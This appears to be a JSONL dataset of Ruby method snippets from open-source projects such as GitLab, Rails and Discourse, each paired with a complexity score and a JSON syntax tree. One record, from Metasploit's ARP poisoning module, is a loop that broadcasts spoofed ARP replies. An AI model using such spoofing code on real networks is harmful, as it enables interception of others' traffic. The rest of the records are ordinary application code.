{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/merge_requests_finder.rb","start_line":221,"raw_source":"def by_approvals(items)\n    MergeRequests::ByApprovalsFinder\n      .new(params[:approved_by_usernames], params[:approved_by_ids])\n      .execute(items)\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"by_approvals\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"items\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequests\"]},\"ByApprovalsFinder\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"approved_by_usernames\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"approved_by_ids\"]}]}]},\"execute\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]}","id":"26c1548b-551e-4d89-8615-8b7969cc3350"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/filter_parser.rb","start_line":113,"raw_source":"def handle_parsed(tag, record, t, values)\n      if values && @inject_key_prefix\n        values = Hash[values.map { |k, v| [@inject_key_prefix + k, v] }]\n      end\n      r = @hash_value_field ? {@hash_value_field => values} : values\n      if @reserve_data\n        r = r ? record.merge(r) : record\n      end\n      r\n    end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_parsed\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]},{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"t\"]},{\"type\":\"arg\",\"children\":[\"values\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},{\"type\":\"ivar\",\"children\":[\"@inject_key_prefix\"]}]},{\"type\":\"lvasgn\",\"children\":[\"values\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"[]\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@inject_key_prefix\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hash_value_field\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hash_value_field\"]},{\"type\":\"lvar\",\"children\":[\"values\"]}]}]},{\"type\":\"lvar\",\"children\":[\"values\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@reserve_data\"]},{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"r\"]}]},{\"type\":\"lvar\",\"children\":[\"record\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"r\"]}]}]}","id":"182247d4-8384-44a9-93f5-966b532372fb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/jira_import/users_mapper_service.rb","start_line":34,"raw_source":"def jira_users\n      @jira_users ||= client.get(url)\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"jira_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@jira_users\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"get\",{\"type\":\"send\",\"children\":[null,\"url\"]}]}]}]}","id":"44dd87b9-bd02-4e9d-9701-6f57e0e5115c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/search_context.rb","start_line":15,"raw_source":"def initialize\n      @ref = nil\n      @project = nil\n      @project_metadata = {}\n      @group = nil\n      @group_metadata = {}\n      @snippets = []\n      @scope = nil\n      @search_url = nil\n    end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@ref\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@project_metadata\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@group\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@group_metadata\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@snippets\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@scope\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@search_url\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"c8907b9d-ae28-4163-9c23-82fd3548aac6"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/redirection.rb","start_line":82,"raw_source":"def escape_fragment(params)\n          params.transform_values { |v| Journey::Router::Utils.escape_fragment(v) }\n        end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"escape_fragment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"transform_values\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Journey\"]},\"Router\"]},\"Utils\"]},\"escape_fragment\",{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]}","id":"b7358a1f-7d77-44b9-8fa1-b5ae1f0e1715"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/mutations/pages/mark_onboarding_complete.rb","start_line":15,"raw_source":"def resolve(project_path:)\n        project = authorized_find!(project_path)\n\n        project.mark_pages_onboarding_complete\n\n        {\n          onboarding_complete: project.pages_metadatum.onboarding_complete,\n          errors: errors_on_object(project)\n        }\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"project_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"send\",\"children\":[null,\"authorized_find!\",{\"type\":\"lvar\",\"children\":[\"project_path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"mark_pages_onboarding_complete\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"onboarding_complete\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"pages_metadatum\"]},\"onboarding_complete\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[null,\"errors_on_object\",{\"type\":\"lvar\",\"children\":[\"project\"]}]}]}]}]}]}","id":"1a59de54-e42b-4a0f-8ff1-040117e19315"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/sqlite3/virtual_column_test.rb","start_line":70,"raw_source":"def test_change_table_with_stored_generated_column\n      @connection.change_table :virtual_columns do |t|\n        t.virtual :decr_column1, type: :integer, as: \"column1 - 1\", stored: true\n      end\n      VirtualColumn.reset_column_information\n      column = VirtualColumn.columns_hash[\"decr_column1\"]\n      assert_predicate column, :virtual?\n      assert_predicate column, :virtual_stored?\n      assert_equal 9, VirtualColumn.take.decr_column1\n    end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_change_table_with_stored_generated_column\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"change_table\",{\"type\":\"sym\",\"children\":[\"virtual_columns\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"virtual\",{\"type\":\"sym\",\"children\":[\"decr_column1\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"integer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"str\",\"children\":[\"column1 - 1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stored\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VirtualColumn\"]},\"reset_column_information\"]},{\"type\":\"lvasgn\",\"children\":[\"column\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VirtualColumn\"]},\"columns_hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"decr_column1\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"virtual?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"virtual_stored?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[9]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VirtualColumn\"]},\"take\"]},\"decr_column1\"]}]}]}]}","id":"ff7f8555-0277-473a-91fb-48fe6e08e33c"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/demon/email_sync.rb","start_line":47,"raw_source":"def self.check_email_sync_heartbeat\n    if defined?(@@email_sync_next_heartbeat_check) && @@email_sync_next_heartbeat_check &&\n         @@email_sync_next_heartbeat_check > Time.now.to_i\n      return\n    end\n\n    @@email_sync_next_heartbeat_check = (Time.now + HEARTBEAT_INTERVAL).to_i\n\n    should_restart = false\n\n    # Restart process if it does not respond anymore\n    last_heartbeat_ago = Time.now.to_i - Discourse.redis.get(HEARTBEAT_KEY).to_i\n\n    if last_heartbeat_ago > HEARTBEAT_INTERVAL.to_i\n      Rails.logger.warn(\n        \"EmailSync heartbeat test failed (last heartbeat was #{last_heartbeat_ago}s ago), restarting\",\n      )\n\n      should_restart = true\n    end\n\n    # Restart process if memory usage is too high\n    if !should_restart && (email_sync_rss = max_email_sync_rss) > max_allowed_email_sync_rss\n      Rails.logger.warn(\n        \"EmailSync is consuming too much memory (using: %0.2fM) for '%s', restarting\" %\n          [(email_sync_rss.to_f / 1.megabyte), HOSTNAME],\n      )\n\n      should_restart = true\n    end\n\n    restart if should_restart\n  end","complexity_score":48.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"check_email_sync_heartbeat\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@email_sync_next_heartbeat_check\"]}]},{\"type\":\"cvar\",\"children\":[\"@@email_sync_next_heartbeat_check\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@email_sync_next_heartbeat_check\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_i\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"cvasgn\",\"children\":[\"@@email_sync_next_heartbeat_check\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"+\",{\"type\":\"const\",\"children\":[null,\"HEARTBEAT_INTERVAL\"]}]}]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"should_restart\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"last_heartbeat_ago\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_i\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"redis\"]},\"get\",{\"type\":\"const\",\"children\":[null,\"HEARTBEAT_KEY\"]}]},\"to_i\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_heartbeat_ago\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HEARTBEAT_INTERVAL\"]},\"to_i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"EmailSync heartbeat test failed (last heartbeat was \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_heartbeat_ago\"]}]},{\"type\":\"str\",\"children\":[\"s ago), restarting\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"should_restart\",{\"type\":\"true\",\"children\":[]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"should_restart\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"email_sync_rss\",{\"type\":\"send\",\"children\":[null,\"max_email_sync_rss\"]}]}]},\">\",{\"type\":\"send\",\"children\":[null,\"max_allowed_email_sync_rss\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"warn\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"EmailSync is consuming too much memory (using: %0.2fM) for '%s', restarting\"]},\"%\",{\"type\":\"array\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"email_sync_rss\"]},\"to_f\"]},\"/\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"megabyte\"]}]}]},{\"type\":\"const\",\"children\":[null,\"HOSTNAME\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"should_restart\",{\"type\":\"true\",\"children\":[]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"should_restart\"]},{\"type\":\"send\",\"children\":[null,\"restart\"]},null]}]}]}","id":"8eb6300c-51ee-4a6c-807a-e69f86bc894a"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/article_with_video_creation_service.rb","start_line":9,"raw_source":"def create!\n    Article.create! do |article|\n      article = initial_article_with_params(article)\n      article.processed_html = \"\"\n      article.user_id = @current_user.id\n      article.show_comments = true\n\n      if @article_params[:video].present?\n        article.video = @article_params[:video]\n        article.video_state = \"PROGRESSING\"\n\n        video_code = article.video.split(\"dev-to-input-v0/\")[1]\n        article.video_code = video_code\n        article.video_source_url = \"#{VIDEO_SERVICE_URL}/#{video_code}/#{video_code}.m3u8\"\n\n        thumb_name = \"thumbs-#{video_code}-00001\"\n        article.video_thumbnail_url = \"#{VIDEO_SERVICE_URL}/#{video_code}/#{thumb_name}.png\"\n      end\n    end\n  end","complexity_score":29.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Article\"]},\"create!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"article\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"article\",{\"type\":\"send\",\"children\":[null,\"initial_article_with_params\",{\"type\":\"lvar\",\"children\":[\"article\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"processed_html=\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"user_id=\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_user\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"show_comments=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@article_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"video\"]}]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"video=\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@article_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"video\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"video_state=\",{\"type\":\"str\",\"children\":[\"PROGRESSING\"]}]},{\"type\":\"lvasgn\",\"children\":[\"video_code\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"video\"]},\"split\",{\"type\":\"str\",\"children\":[\"dev-to-input-v0/\"]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"video_code=\",{\"type\":\"lvar\",\"children\":[\"video_code\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"video_source_url=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VIDEO_SERVICE_URL\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"video_code\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"video_code\"]}]},{\"type\":\"str\",\"children\":[\".m3u8\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"thumb_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"thumbs-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"video_code\"]}]},{\"type\":\"str\",\"children\":[\"-00001\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"video_thumbnail_url=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VIDEO_SERVICE_URL\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"video_code\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thumb_name\"]}]},{\"type\":\"str\",\"children\":[\".png\"]}]}]}]},null]}]}]}]}","id":"be997d16-e420-4e38-a68d-0ae405984c7b"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/commands/server/server_command.rb","start_line":43,"raw_source":"def serveable? # :nodoc:\n      server\n      true\n    rescue LoadError, NameError\n      false\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"serveable?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"server\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LoadError\"]},{\"type\":\"const\",\"children\":[null,\"NameError\"]}]},null,{\"type\":\"false\",\"children\":[]}]},null]}]}","id":"39c2e4cb-8799-4828-b356-693787f72c31"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/keeps/overdue_finalize_background_migration.rb","start_line":280,"raw_source":"def migration_code_present?(job_name)\n      file_name = \"#{job_name.underscore}.rb\"\n      migration_code_in_ce?(file_name) || migration_code_in_ee?(file_name)\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"migration_code_present?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job_name\"]},\"underscore\"]}]},{\"type\":\"str\",\"children\":[\".rb\"]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"migration_code_in_ce?\",{\"type\":\"lvar\",\"children\":[\"file_name\"]}]},{\"type\":\"send\",\"children\":[null,\"migration_code_in_ee?\",{\"type\":\"lvar\",\"children\":[\"file_name\"]}]}]}]}]}","id":"827ad404-ade1-4da6-8f10-cddaae6be20e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/spoof/arp/arp_poisoning.rb","start_line":155,"raw_source":"def broadcast_spoof\n    print_status('ARP poisoning in progress (broadcast)...')\n    loop do\n      @shosts.each do |shost|\n        vprint_status(\"Sending arp packet for #{shost} address\")\n        reply = buildreply(shost, @smac, '0.0.0.0', 'ff:ff:ff:ff:ff:ff')\n        inject(reply)\n        Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)\n      end\n    end\n  end","complexity_score":21.1,"ast_json":"{\"type\":\"def\",\"children\":[\"broadcast_spoof\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"ARP poisoning in progress (broadcast)...\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@shosts\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"shost\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending arp packet for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shost\"]}]},{\"type\":\"str\",\"children\":[\" address\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"reply\",{\"type\":\"send\",\"children\":[null,\"buildreply\",{\"type\":\"lvar\",\"children\":[\"shost\"]},{\"type\":\"ivar\",\"children\":[\"@smac\"]},{\"type\":\"str\",\"children\":[\"0.0.0.0\"]},{\"type\":\"str\",\"children\":[\"ff:ff:ff:ff:ff:ff\"]}]}]},{\"type\":\"send\",\"children\":[null,\"inject\",{\"type\":\"lvar\",\"children\":[\"reply\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Kernel\"]},\"select\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PKT_DELAY\"]}]},\"*\",{\"type\":\"float\",\"children\":[1.0]}]}]},\"/\",{\"type\":\"int\",\"children\":[1000]}]}]}]}]}]}]}]}","id":"64680823-6ffd-4ca2-b854-1549a39fc899"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/helper/adb_helper.rb","start_line":36,"raw_source":"def trigger(command: nil, serial: nil)\n        android_serial = serial != \"\" ? \"ANDROID_SERIAL=#{serial}\" : nil\n        command = [android_serial, adb_path.shellescape, host_option, command].compact.join(\" \").strip\n        Action.sh(command)\n      end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"trigger\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"command\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"serial\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"android_serial\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"serial\"]},\"!=\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ANDROID_SERIAL=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"serial\"]}]}]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"android_serial\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"adb_path\"]},\"shellescape\"]},{\"type\":\"send\",\"children\":[null,\"host_option\"]},{\"type\":\"lvar\",\"children\":[\"command\"]}]},\"compact\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]},\"strip\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Action\"]},\"sh\",{\"type\":\"lvar\",\"children\":[\"command\"]}]}]}]}","id":"3991da8b-017e-42e2-bee0-7a7e25d7cc30"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/spec/rspec/core/shared_example_group_spec.rb","start_line":4,"raw_source":"def self.setup!\n    RSpec.shared_examples_for(\"top level in module\") {}\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"setup!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RSpec\"]},\"shared_examples_for\",{\"type\":\"str\",\"children\":[\"top level in module\"]}]},{\"type\":\"args\",\"children\":[]},null]}]}","id":"74b1e3b2-25b6-4eed-9873-3effa4c3110f"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/ai_moderation/spam_scanner.rb","start_line":64,"raw_source":"def self.after_cooked_post(post)\n        return if !enabled?\n        return if !should_scan_post?(post)\n        return if !post.custom_fields[SHOULD_SCAN_POST_CUSTOM_FIELD]\n        return if post.updated_at < MAX_AGE_TO_SCAN.ago\n\n        last_scan = AiSpamLog.where(post_id: post.id).order(created_at: :desc).first\n\n        if last_scan && last_scan.created_at > EDIT_DELAY_MINUTES.minutes.ago\n          delay_minutes =\n            ((last_scan.created_at + EDIT_DELAY_MINUTES.minutes) - Time.current).to_i / 60\n          Jobs.enqueue_in(delay_minutes.minutes, :ai_spam_scan, post_id: post.id)\n        else\n          Jobs.enqueue(:ai_spam_scan, post_id: post.id)\n        end\n      